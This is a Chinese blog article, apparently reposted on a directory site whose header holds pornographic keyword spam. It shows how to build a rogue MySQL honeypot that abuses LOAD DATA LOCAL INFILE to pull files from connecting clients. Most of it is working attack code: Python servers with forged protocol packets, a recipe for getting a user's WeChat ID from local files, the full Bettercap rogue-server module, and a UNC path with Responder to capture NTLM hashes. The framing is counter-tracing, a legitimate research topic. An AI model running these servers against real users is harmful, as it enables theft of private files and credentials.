日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網(wǎng)為廣大站長提供免費收錄網(wǎng)站服務,提交前請做好本站友鏈:【 網(wǎng)站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

前言

前不久,零隊發(fā)了一篇《MySQL蜜罐獲取攻擊者微信ID》的文章,文章講述了如何通過load data local infile進行攻擊者微信ID的抓取,學習的過程中發(fā)現(xiàn)雖然問題是一個比較老的問題,但是擴展出來的很多知識都比較有意思,記錄一下。

分析過程

LOAD DATA INFILE

在MySQL中LOAD DATA INFILE 語句以非常高的速度從文本文件中讀取行到表中,基本語法如下:

load data  [low_priority] [local] infile 'file_name txt' [replace | ignore]
into table tbl_name
[fields
[terminated by't']
[OPTIONALLY] enclosed by '']
[escaped by'' ]]
[lines terminated by'n']
[ignore number lines]
[(col_name,   )]

這個功能默認是關(guān)閉的,當我們沒有開啟這個功能時執(zhí)行LOAD DATA INFILE報錯如下:

> 1148 - The used command is not allowed with this MySQL version

我們可以通過如下命令查看功能狀態(tài)。

show global variables like 'local_infile';
溯源反制之MySQL蜜罐研究

 

我們可以通過如下命令開啟該功能。

set global local_infile=1;

開啟之后我們就可以通過如下命令進行文件讀取并且寫入到表中,我們以C:1.txt為例,將其中內(nèi)容寫入到test表中,并且以n為分隔符。

load data local infile 'C:/1.txt' into table test fields terminated by 'n';

這樣我們就可以讀取客戶端本地的文件,并寫入到表中。

溯源反制之MySQL蜜罐研究

 

通信過程

接下來我們通過Wireshark抓取過程中的流量分析一下通信過程。

首先是Greeting包,返回了服務端的Version等信息。

溯源反制之MySQL蜜罐研究

 

接下來客戶端發(fā)送登錄請求。

溯源反制之MySQL蜜罐研究

 

接下來客戶端發(fā)送了如下請求:

SET NAMES utf8mb4SET NAMES utf8mb4
溯源反制之MySQL蜜罐研究

 

接下來我們執(zhí)行我們的payload

load data local infile 'C:/1.txt' into table test fields terminated by 'n';

首先客戶端發(fā)起請求;

溯源反制之MySQL蜜罐研究

 

之后服務端會回復一個Response TABULAR,其中包含請求文件名的包;

溯源反制之MySQL蜜罐研究

 

這里數(shù)據(jù)包我們要注意的地方如下:

溯源反制之MySQL蜜罐研究

 

如上圖,數(shù)據(jù)包中內(nèi)容如下:

09 00 00 01 fb 43 3a 2f 31 2e 74 78 74

這里的09指的是從fb開始十六進制的數(shù)據(jù)包中文件名的長度,00 00 01值得是數(shù)據(jù)包的序號,fb是包的類型,43 4a 2f 31 2e 74 78 74指的是文件名,接下來客戶端向服務端發(fā)送文件內(nèi)容的數(shù)據(jù)包。

溯源反制之MySQL蜜罐研究

 

任意文件讀取過程

在MySQL協(xié)議中,客戶端本身不存儲自身的請求,而是通過服務端的響應來執(zhí)行操作,也就是說我們?nèi)绻梢詡卧霨reeting包和偽造的文件名對應的數(shù)據(jù)包,我們就可以讓攻擊者的客戶端給我們把我們想要的文件拿過來,過程大致如下,首先我們將Greeting包發(fā)送給要連接的客戶端,這樣如果客戶端發(fā)送查詢之后,我們返回一個Response TABULAR數(shù)據(jù)包,并且附上我們指定的文件,我們也就完成了整個任意文件讀取的過程,接下來就是構(gòu)造兩個包的過程,首先是Greeting包,這里引用lightless師傅博客中的一個樣例。

'x0a',  # Protocol
'6.6.6-lightless_Mysql_Server' + '',  # Version
'x36x00x00x00',  # Thread ID
'ABCDABCD' + '',  # Salt
'xffxf7',  # Capabilities, CLOSE SSL HERE!
'x08',  # Collation
'x02x00',  # Server Status
"x0fx80x15", 
'' * 10,  # Unknown
'ABCDABCD' + '',
"mysql_native_password" + ""

根據(jù)以上樣例,我們就可以方便的構(gòu)造Greeting包了,當然,這里我們也可以直接利用上面我們Wireshark抓取到的Greeting包,接下來就是Response TABULAR包了,包的格式上面我們分析過了,我們可以直接構(gòu)造如下Paylod

chr(len(filename) + 1) + "x00x00x01xFB" + filename

我們就可以對客戶端的指定文件進行讀取了,這里我們還缺少一個條件,RUSSIANSECURITY在博客中也提及過如下內(nèi)容。

For successfully exploitation you need at least one query to server. Fortunately most of mysql clients makes at least one query like ‘*SET names “utf8”* or something.

這是因為我們傳輸這個文件讀取的數(shù)據(jù)包時,需要等待一個來自客戶端的查詢請求才能回復這個讀文件的請求,也就是我們現(xiàn)在還需要一個來自客戶端的查詢請求,幸運的是,通過我們上面的分析我們可以看到,形如Navicat等客戶端進行連接的時候,會自動發(fā)送如下查詢請求。

SET NAMES utf8mb4

從查閱資料來看,大多數(shù)MySQL客戶端以及程序庫都會在握手之后至少發(fā)送一次請求,以探測目標平臺的指紋信息,例如:

select @@version_comment limit 1

這樣我們的利用條件也就滿足了,綜上,我們可以惡意模擬一個MySQL服務端的身份認證過程,之后等待客戶端發(fā)起一個SQL查詢,之后響應的時候我們將我們構(gòu)造的Response TABULAR發(fā)送給客戶端,也就是我們LOAD DATA INFILE的請求,這樣客戶端根據(jù)響應內(nèi)容執(zhí)行上傳本機文件的操作,我們也就獲得了攻擊者的文件信息,整體流程圖示如下:

溯源反制之MySQL蜜罐研究

 

我們可以用Python來簡單模擬一下這個過程:

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)


while True:
    # 建立客戶端連接
    clientsocket,addr = serversocket.accept()      


    print("連接地址: %s" % str(addr))
    # 返回版本信息
    version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x2ax51x47x38x48x17x12x21x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x7ax6fx6ex25x61x3ex48x31x25x43x2bx61x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
    clientsocket.sendall(version_text)
    try:
        # 客戶端請求信息
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response OK
    verification = b"x07x00x00x02x00x00x00x02x00x00x00"
    clientsocket.sendall(verification)
    try:
        # SET NAMES utf8mb4
        clientsocket.recv(9999)
    except Exception as e:
        print(e)
    # Response TABULAR
    evil_response = b"x09x00x00x01xfbx43x3ax2fx31x2ex74x78x74"
    clientsocket.sendall(evil_response)
    # file_text
    print(clientsocket.recv(9999))
    clientsocket.close()
溯源反制之MySQL蜜罐研究

 

我們可以看到,當攻擊者鏈接我們構(gòu)造的蜜罐時,我們成功抓取到了攻擊者C:/1.txt文件中的內(nèi)容,接下來就是對任意文件的構(gòu)造,我們上面也分析了Response TABULAR數(shù)據(jù)包的格式,因此我們只需要對我們的文件名進行構(gòu)造即可,這里不再贅述。

chr(len(filename) + 1) + "x00x00x01xFB" + filename

欺騙掃描器

接下來一個主要問題就是讓攻擊者的掃描器發(fā)現(xiàn)我們是弱口令才行,這樣他才有可能連接,所以還需要分析一下掃描器的通信過程,這里以SNETCracker為例。

溯源反制之MySQL蜜罐研究

 

首先還是分析通信過程,首先還是Greeting包,返回版本信息等。

溯源反制之MySQL蜜罐研究

 

之后客戶端向服務端發(fā)送請求登錄的數(shù)據(jù)包。

溯源反制之MySQL蜜罐研究

 

接下來服務端向客戶端返回驗證成功的數(shù)據(jù)包。

溯源反制之MySQL蜜罐研究

 

從上面流程上來說,其實檢查口令的部分已經(jīng)結(jié)束了,但是這個軟件本身還進行了下面的進一步判斷,當下面判斷條件也成立時,才會認為成功爆破了MySQL,接下來查看系統(tǒng)變量以及相應的值。

SHOW VARIABLES
溯源反制之MySQL蜜罐研究

 

服務端返回響應包后,繼續(xù)查看警告信息。

SHOW WARNINGS
溯源反制之MySQL蜜罐研究

 

服務端返回響應包后,繼續(xù)查看所有排列字符集。

SHOW COLLATION
溯源反制之MySQL蜜罐研究

 

到這里,如果我們偽造的蜜罐都可以返回相應的響應包,這時候SNETCracker就可以判斷弱口令存在,并正常識別了,我們使用Python模擬一下整個過程。

import socket


serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 


port = 3306
serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serversocket.bind(("", port))
serversocket.listen(5)




# 建立客戶端連接
clientsocket,addr = serversocket.accept()      


print("連接地址: %s" % str(addr))
# 返回版本信息
version_text = b"x4ax00x00x00x0ax38x2ex30x2ex31x32x00x08x00x00x00x34x58x29x37x38x2fx6dx20x00xffxffxc0x02x00xffxc3x15x00x00x00x00x00x00x00x00x00x00x16x1fx07x48x54x56x3fx1ex15x2ax58x59x00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00"
clientsocket.sendall(version_text)
print(clientsocket.recv(9999))
verification = b"x07x00x00x02x00x00x00x02x00x00x00"
clientsocket.sendall(verification)
print(clientsocket.recv(9999))
show_variables = b'太長了,已經(jīng)省略'
clientsocket.sendall(show_variables)
print(clientsocket.recv(9999))
show_warnings = b"x01x00x00x01x03x1bx00x00x02x03x64x65x66x00x00x00x05x4cx65x76x65x6cx00x0cx08x00x07x00x00x00xfdx01x00x1fx00x00x1ax00x00x03x03x64x65x66x00x00x00x04x43x6fx64x65x00x0cx3fx00x04x00x00x00x03xa1x00x00x00x00x1dx00x00x04x03x64x65x66x00x00x00x07x4dx65x73x73x61x67x65x00x0cx08x00x00x02x00x00xfdx01x00x1fx00x00x05x00x00x05xfex00x00x02x00x68x00x00x06x07x57x61x72x6ex69x6ex67x04x31x33x36x36x5ax49x6ex63x6fx72x72x65x63x74x20x73x74x72x69x6ex67x20x76x61x6cx75x65x3ax20x27x5cx78x44x36x5cx78x44x30x5cx78x42x39x5cx78x46x41x5cx78x42x31x5cx78x45x41x2ex2ex2ex27x20x66x6fx72x20x63x6fx6cx75x6dx6ex20x27x56x41x52x49x41x42x4cx45x5fx56x41x4cx55x45x27x20x61x74x20x72x6fx77x20x31x05x00x00x07xfex00x00x02x00"
clientsocket.sendall(show_warnings)
print(clientsocket.recv(9999))
show_collation = b'太長了,已經(jīng)省略'
clientsocket.sendall(show_collation)
print(clientsocket.recv(9999))
溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

至此我們欺騙掃描器的過程已經(jīng)結(jié)束,攻擊者已經(jīng)可以“快速”的掃描到我們的蜜罐了,只要他進行連接,我們就可以按照上面的方法來讀取他電腦上的文件了。

獲取微信

如果我們想進行溯源,就需要獲取一些能證明攻擊者身份信息的文件,而且這些文件需要位置類型固定,從而我們能方便的進行獲取,從而進行進一步的調(diào)查反制。

alexo0師傅在文章中提到過關(guān)于微信的抓取:

windows下,微信默認的配置文件放在C:UsersusernameDocumentsWeChat Files中,在里面翻翻能夠發(fā)現(xiàn) C:UsersusernameDocumentsWeChat FilesAll Usersconfigconfig.data 中含有微信ID,而獲取這個文件還需要一個條件,那就是要知道攻擊者的電腦用戶名,用戶名一般有可能出現(xiàn)在一些日志文件里,我們需要尋找一些比較通用、文件名固定的文件。經(jīng)過測試,發(fā)現(xiàn)一般用過一段時間的電腦在 C:WindowsPFRO.log 中較大幾率能找到用戶名。

溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

通過以上條件我們就能獲得攻擊者的wxid了,接下來就是如何將wxid轉(zhuǎn)換為二維碼方便我們掃描,通過資料得知方法如下:

weixin://contacts/profile/{wxid}

將相應wxid填入上述字符串后,再對字符串轉(zhuǎn)換成二維碼,之后使用Android/ target=_blank class=infotextkey>安卓端微信進行掃碼即可,可以使用如下函數(shù)進行二維碼生成:

import qrcode
from PIL import Image
import os


# 生成二維碼圖片
# 參數(shù)為wxid和二維碼要保存的文件名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二維碼尺寸的大小 1-40  1:21*21(21+(n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每個格子的像素大小
        border=2, #邊框的格子寬度大小
    )
    qr.add_data(str)
    qr.make(fit=True)


    img=qr.make_image()
    img.save(save)


# 讀取到的wxid
wxid = ''
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')

這樣,我們組合上面的過程,就可以通過正則首先獲得用戶username

re.findall( r'.*C:\Users\(.*?)\AppData\Local\.*', result)

之后再將獲得的username進行拼接,獲取到攻擊者的微信配置文件:

C:Users{username}DocumentsWeChat FilesAll Usersconfigconfig.data

最后再正則獲得其中的wxid,并且利用上述函數(shù)轉(zhuǎn)換為二維碼即可,這樣當攻擊者掃描到我們的蜜罐之后,進行連接,我們就可以抓取到攻擊者的wxid,并生成二維碼了。

溯源反制之MySQL蜜罐研究

 


溯源反制之MySQL蜜罐研究

 

至此,我們構(gòu)建的蜜罐已經(jīng)將攻擊者的微信給我們帶回來了。

NTLM HASH

我們知道,NTLM認證采用質(zhì)詢/應答的消息交換模式,流程如下:

  1. 客戶端向服務器發(fā)送一個請求,請求中包含明文的登錄用戶名。服務器會提前存儲登錄用戶名和對應的密碼hash;
  2. 服務器接收到請求后,生成一個16位的隨機數(shù)(這個隨機數(shù)被稱為Challenge),明文發(fā)送回客戶端。使用存儲的登錄用戶密碼hash加密Challenge,獲得Challenge1;
  3. 客戶端接收到Challenge后,使用登錄用戶的密碼hash對Challenge加密,獲得Challenge2(這個結(jié)果被稱為response),將response發(fā)送給服務器;
  4. 服務器接收客戶端加密后的response,比較Challenge1和response,如果相同,驗證成功。

在以上流程中,登錄用戶的密碼hash即NTLM hash,response中包含Net-NTLM hash,而對于SMB協(xié)議來說,客戶端連接服務端的時候,會優(yōu)先使用本機的用戶名和密碼hash來進行登錄嘗試,而INFILE又支持UNC路徑,組合這兩點我們就能通過構(gòu)造一個惡意的MySQL服務器,Bettercap本身已經(jīng)集成了一個惡意MySQL服務器,代碼如下:

package mysql_server


import (
  "bufio"
  "bytes"
  "fmt"
  "io/ioutil"
  "net"
  "strings"


  "github.com/bettercap/bettercap/packets"
  "github.com/bettercap/bettercap/session"


  "github.com/evilsocket/islazy/tui"
)


type MySQLServer struct {
  session.SessionModule
  address  *net.TCPAddr
  listener *net.TCPListener
  infile   string
  outfile  string
}


func NewMySQLServer(s *session.Session) *MySQLServer {
  mod := &MySQLServer{
    SessionModule: session.NewSessionModule("mysql.server", s),
  }


  mod.AddParam(session.NewStringParameter("mysql.server.infile",
    "/etc/passwd",
    "",
    "File you want to read. UNC paths are also supported."))


  mod.AddParam(session.NewStringParameter("mysql.server.outfile",
    "",
    "",
    "If filled, the INFILE buffer will be saved to this path instead of being logged."))


  mod.AddParam(session.NewStringParameter("mysql.server.address",
    session.ParamIfaceAddress,
    session.IPv4Validator,
    "Address to bind the mysql server to."))


  mod.AddParam(session.NewIntParameter("mysql.server.port",
    "3306",
    "Port to bind the mysql server to."))


  mod.AddHandler(session.NewModuleHandler("mysql.server on", "",
    "Start mysql server.",
    func(args []string) error {
      return mod.Start()
    }))


  mod.AddHandler(session.NewModuleHandler("mysql.server off", "",
    "Stop mysql server.",
    func(args []string) error {
      return mod.Stop()
    }))


  return mod
}


func (mod *MySQLServer) Name() string {
  return "mysql.server"
}


func (mod *MySQLServer) Description() string {
  return "A simple Rogue MySQL server, to be used to exploit LOCAL INFILE and read arbitrary files from the client."
}


func (mod *MySQLServer) Author() string {
  return "Bernardo Rodrigues (https://twitter.com/bernardomr)"
}


func (mod *MySQLServer) Configure() error {
  var err error
  var address string
  var port int


  if mod.Running() {
    return session.ErrAlreadyStarted(mod.Name())
  } else if err, mod.infile = mod.StringParam("mysql.server.infile"); err != nil {
    return err
  } else if err, mod.outfile = mod.StringParam("mysql.server.outfile"); err != nil {
    return err
  } else if err, address = mod.StringParam("mysql.server.address"); err != nil {
    return err
  } else if err, port = mod.IntParam("mysql.server.port"); err != nil {
    return err
  } else if mod.address, err = net.ResolveTCPAddr("tcp", fmt.Sprintf("%s:%d", address, port)); err != nil {
    return err
  } else if mod.listener, err = net.ListenTCP("tcp", mod.address); err != nil {
    return err
  }
  return nil
}


func (mod *MySQLServer) Start() error {
  if err := mod.Configure(); err != nil {
    return err
  }


  return mod.SetRunning(true, func() {
    mod.Info("server starting on address %s", mod.address)
    for mod.Running() {
      if conn, err := mod.listener.AcceptTCP(); err != nil {
        mod.Warning("error while accepting tcp connection: %s", err)
        continue
      } else {
        defer conn.Close()


        // TODO: include binary support and files > 16kb
        clientAddress := strings.Split(conn.RemoteAddr().String(), ":")[0]
        readBuffer := make([]byte, 16384)
        reader := bufio.NewReader(conn)
        read := 0


        mod.Info("connection from %s", clientAddress)


        if _, err := conn.Write(packets.MySQLGreeting); err != nil {
          mod.Warning("error while writing server greeting: %s", err)
          continue
        } else if _, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        }


        // parse client capabilities and validate connection
        // TODO: parse mysql connections properly and
        //       display additional connection attributes
        capabilities := fmt.Sprintf("%08b", (int(uint32(readBuffer[4]) | uint32(readBuffer[5])<<8)))
        loadData := string(capabilities[8])
        username := string(bytes.Split(readBuffer[36:], []byte{0})[0])


        mod.Info("can use LOAD DATA LOCAL: %s", loadData)
        mod.Info("login request username: %s", tui.Bold(username))


        if _, err := conn.Write(packets.MySQLFirstResponseoK); err != nil {
          mod.Warning("error while writing server first response ok: %s", err)
          continue
        } else if _, err := reader.Read(readBuffer); err != nil {
          mod.Warning("error while reading client message: %s", err)
          continue
        } else if _, err := conn.Write(packets.MySQLGetFile(mod.infile)); err != nil {
          mod.Warning("error while writing server get file request: %s", err)
          continue
        } else if read, err = reader.Read(readBuffer); err != nil {
          mod.Warning("error while readind buffer: %s", err)
          continue
        }


        if strings.HasPrefix(mod.infile, "\") {
          mod.Info("NTLM from '%s' relayed to %s", clientAddress, mod.infile)
        } else if fileSize := read - 9; fileSize < 4 {
          mod.Warning("unexpected buffer size %d", read)
        } else {
          mod.Info("read file ( %s ) is %d bytes", mod.infile, fileSize)


          fileData := readBuffer[4 : read-4]


          if mod.outfile == "" {
            mod.Info("n%s", string(fileData))
          } else {
            mod.Info("saving to %s ...", mod.outfile)
            if err := ioutil.WriteFile(mod.outfile, fileData, 0755); err != nil {
              mod.Warning("error while saving the file: %s", err)
            }
          }
        }


        conn.Write(packets.MySQLSecondResponseOK)
      }
    }
  })
}


func (mod *MySQLServer) Stop() error {
  return mod.SetRunning(false, func() {
    defer mod.listener.Close()
  })
}

通過查閱文檔,我們可以看到相關(guān)參數(shù)的設置如下:

溯源反制之MySQL蜜罐研究

 

我們這里將我們的mysql.server.infile設置成UNC路徑。

set mysql.server.infile \192.168.165.128test; mysql.server on

并且通過responder進行監(jiān)聽。

responder --interface eth0 -i 192.168.231.153
溯源反制之MySQL蜜罐研究

 

當攻擊者使用客戶端連接我們的惡意服務器時,

溯源反制之MySQL蜜罐研究

 

我們就成功的截獲了NTLM的相關(guān)信息。

溯源反制之MySQL蜜罐研究

分享到:
標簽:MySQL
用戶無頭像

網(wǎng)友整理

注冊時間:

網(wǎng)站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨大挑戰(zhàn)2018-06-03

數(shù)獨一種數(shù)學游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數(shù)有氧達人2018-06-03

記錄運動步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定